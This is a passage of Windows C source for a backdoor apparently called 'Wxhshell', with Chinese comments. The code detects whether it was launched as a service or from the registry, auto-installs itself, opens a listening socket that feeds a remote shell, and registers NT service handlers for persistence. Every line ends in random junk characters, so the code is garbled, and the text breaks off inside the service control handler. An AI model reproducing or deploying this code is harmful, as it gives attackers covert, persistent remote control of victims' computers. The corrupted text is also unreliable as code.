DWORD AffinityMask; /|1p7{km
DWORD BasePriority; /Vn>(;lo
ULONG UniqueProcessId; !Qe;oMqy}
ULONG InheritedFromUniqueProcessId; Nr4:Gih
} PROCESS_BASIC_INFORMATION; ?Gki0^~J
?;XEb\Kf
PROCNTQSIP NtQueryInformationProcess; t'rN7.d
2Wz8E2.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _\}'5nmw\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d,V#5l-6
,Of^xER`
HANDLE hProcess; ^dHQ<L3.*
PROCESS_BASIC_INFORMATION pbi; N1c=cZDV
i2~uhGJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f"QiVJq
if(NULL == hInst ) return 0; Q +^&
-n|bi cP
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1cLtTE
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d(T4Kd$r
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {r,Uik-nL
wA=r]BT
if (!NtQueryInformationProcess) return 0; ,#A(I#wL~
$J`O-"M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h:YD$XE
if(!hProcess) return 0; HTJ2D@h
7K1-.uQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mL{P4a 1xf
1F^Q* t{
CloseHandle(hProcess); @ _Ey"k<
}}AIpYp,P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,c p2Fac
if(hProcess==NULL) return 0; FzT.9Vz7
U(#<D7}
HMODULE hMod; {ez$kz
char procName[255]; t4WB^dHYp
unsigned long cbNeeded; 5p;AON
'o>)E>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K}~$h,n
;b$P*dSG}
CloseHandle(hProcess); Dqx#i-L23
x sryXex;
if(strstr(procName,"services")) return 1; // 以服务启动 I`kfe`_
9DxHdpOk
return 0; // 注册表启动 w,LtQhQ
} CLR1CGnn7
O
VV@
// 主模块 Rh!UbEPjC
int StartWxhshell(LPSTR lpCmdLine) 06&J!,p
:
{ :C~Ar]
SOCKET wsl; Ott6y
BOOL val=TRUE; M!UTqf7XL
int port=0; 2Je$SE8
struct sockaddr_in door; pP. _%5
0#,a#P
if(wscfg.ws_autoins) Install(); 8Bf>
3Vb4zZsl
port=atoi(lpCmdLine); > H!sD\b
6>>; fy2
if(port<=0) port=wscfg.ws_port; Kc/1LeAik
rhJ&* 0M
WSADATA data; e~o!Qm
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _gvFs%J
;[v!#+yml
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R'Sd'pSDN
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h)KHc/S
door.sin_family = AF_INET; jEc_!Q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); SepjF
door.sin_port = htons(port); K:PH:e
TlqHj
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IGdiIhH~2
closesocket(wsl); "g{q=[U}
return 1;
LK^|JE u
} }u Y2-l
C"{^wy{sL
if(listen(wsl,2) == INVALID_SOCKET) { aAo|3KCs
closesocket(wsl); WJShN~ E
return 1; {keZ_2
} 1|bXIY.J*
Wxhshell(wsl); +#}GmUwPG$
WSACleanup(); d>NGCe
K`4rUEf}V"
return 0; 8:ubtB
Kb.qv)6i*
} D!<F^mtl
wu41Mz7
// 以NT服务方式启动 vwCQvt
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rPV
Q#iB
{ 8Sbz)X
DWORD status = 0; [);oj<
DWORD specificError = 0xfffffff; DiC z%'N
H?$dnwR
serviceStatus.dwServiceType = SERVICE_WIN32; xEb>6+-F@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; #8$?#
dT
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IpP%WW u
serviceStatus.dwWin32ExitCode = 0; wwUI ;g
serviceStatus.dwServiceSpecificExitCode = 0; P"YdB|I
serviceStatus.dwCheckPoint = 0; j6
wFks
serviceStatus.dwWaitHint = 0; X\}l" ]
R+ * ; [
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pwFp<O"
if (hServiceStatusHandle==0) return; ewDYu=`*
-^_m(@A<~
status = GetLastError(); "F
F$Q#)
if (status!=NO_ERROR) _jWs(OmJ
{ E$d#4x
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5E!C?dv(z
serviceStatus.dwCheckPoint = 0; &5CRXf
serviceStatus.dwWaitHint = 0; 5ut| eD`3
serviceStatus.dwWin32ExitCode = status; L*@`i ]jl
serviceStatus.dwServiceSpecificExitCode = specificError; 3Cf9'C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t^s&1#iC
return; &i#$ia r
} _y@28t
Y]z
:^D
serviceStatus.dwCurrentState = SERVICE_RUNNING; --yF%tRMP
serviceStatus.dwCheckPoint = 0; h\s/rZg=r
serviceStatus.dwWaitHint = 0; vygzL U^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ' \JE>#
} ]#tB[G
!3Q0Ahf
// 处理NT服务事件,比如:启动、停止 Y.^L^ "%dF
VOID WINAPI NTServiceHandler(DWORD fdwControl) p|>*M\LE#
{ Y
},E3<
switch(fdwControl) /K=OsMl2b8
{ u4x-GObJM
case SERVICE_CONTROL_STOP: S{c/3k~
serviceStatus.dwWin32ExitCode = 0; *a9cBl'_
serviceStatus.dwCurrentState = SERVICE_STOPPED; *"%TAe7?~+
serviceStatus.dwCheckPoint = 0; ]\,?u /
serviceStatus.dwWaitHint = 0; =i/Df?
{ {)YbksrJ{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @rl5k(
} J_Lmy7~xbD
return; 7!O"k#
case SERVICE_CONTROL_PAUSE: Z,&